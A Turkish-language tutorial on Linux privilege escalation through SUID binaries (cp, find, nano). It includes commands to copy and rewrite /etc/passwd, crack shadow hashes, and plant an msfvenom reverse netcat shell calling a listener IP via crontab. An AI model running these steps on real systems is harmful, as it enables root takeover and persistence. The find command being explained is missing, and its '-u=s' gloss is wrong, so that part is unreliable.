SUID Binaries
Last updated
Last updated
Her kullanıcının iznini ayarlamak için kullanılan maksimum bit sayısı okuma (4), yazma (2) ve çalıştırma (1) işleminin bir kombinasyonu olan 7'dir Örneğin, chmod 755'i ayarlarsanız, rwxr-xr-x gibi görünecektir.
Ancak her kullanıcıya özel izin verildiğinde SUID, SGID veya sticky bit olur.
Fazladan "4" biti user(owner) olarak ayarlandığında SUID (Set user ID) olur ve "2" biti grup olarak ayarlandığında SGID (Set Group ID) olur ve diğer kullanıcıların herhangi bir dosya oluşturmasına veya silmesine izin verilirse bir dizinin içindeki dosya, sticky bits “1” o dizine ayarlanır.
SUID: Set User ID, kullanıcıların belirli bir kullanıcının izinleriyle bir dosyayı yürütmesine izin veren bir izin türüdür. Suid izinlerine sahip olan dosyalar daha yüksek ayrıcalıklarla çalışır. Hedef sisteme root olmayan bir kullanıcı olarak eriştiğimizi ve suid bit özellikli binary dosyalar bulduğumuzu varsayalım, o zaman bu file/program/command root ayrıcalıklarıyla çalışabilir.
1) /dosya sisteminin en üstünden (kökünden) başlar ve her dizini arar
2) -perm, belirtilen izinlerin arandığını belirtir
3) -u=s, kök kullanıcının sahip olduğu dosyaları arar
4) -type, aradığımız dosyanın türünü belirtir
5) f, dizinleri veya özel dosyaları değil, normal bir dosyayı belirtir
6) 2, sürecin ikinci dosya tanıtıcısını belirtir, yani stderr (standart hata)
7) yönlendirme anlamına gelir
8) /dev/null, içine yazılan her şeyi çöpe atan özel bir dosya sistemi nesnesidir.
HOW SUID helps in privilege escalation?
Linux'ta, mevcut binary dosyalardan ve komutlardan bazıları, SUID biti etkinleştirildiyse, kök olmayan kullanıcılar tarafından kök erişim ayrıcalıklarını yükseltmek için kullanılabilir.
Ayrıcalık artışına izin verebilecek bazı ünlü Linux / Unix yürütülebilir komutları vardır: Bash, Cat, cp, echo, find, Less, More, Nano, Nmap, Vim vb.
Daha fazla komut ve yardım için şu siteyi kontrol edebiliriz:
Verileri kopyalamak için kullanılan cp komutu için suid biti etkinleştirilirse, kök erişimi elde etmek için yükseltme ayrıcalığına yol açabilir.
which cp
ls -al /bin/cp
chmod u+s /bin/cp
komutu ile arama yapıyoruz.
Cp komutu root yetkisi ile çalıştığı için /etc/passwd dosyasını okumak için bu dosyayı farklı bir yere kopyalayabiliriz.
cp /etc/passwd /home/kali/deneme
Eğer bizim erişimimiz yalnızca web sitesine varsa bu dosyayı /var/www/html in altına kopyalayıp web sitesinden de okuyabiliriz.
Bir parola hashi oluşturup, bu dosyanın altına ekleyelim daha sonra değiştirdiğimiz bu dosyayı gidip karşı sisteme yeniden yapıştıralım.
Ya da sisteme direkt erişim yoksa örneğin web sayfasından vs. komut çalıştırıyorsak, python ile bir web sunucusu kaldırırız, wget ile bu dosyayı çekeriz. sonra passwd'ye kopyalarız.
msfvenom kullanarak bir backdoor oluşturalım.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.76 lport=1234 R
Oluşturduğum backdooru tuf.sh olarak kaydettim.
Bu payloadı cronttaba kopyalarak dakikalık istek gelmesini sağlayacağız.
Aynı zaman da netcat ile belirtilen portu dinleyip root yetkilerle reverse gelmesini bekleyeceğiz.
Yine aynı şekilde find komutuna suid verelim
komutu ile kontrol ettiğimiz de find komutunu da burada göreceğiz.
Böylece burada SUID bitinin find komutu için etkinleştirildiğini öğrendik, bu da find komutu içinde herhangi bir komutu çalıştırabileceğimiz anlamına gelir.
nano suid ise nano ile gidip /etc/passwd yi değiştrebiliriz ya da shadow'u okuruz hashi alırız john ile kırarız.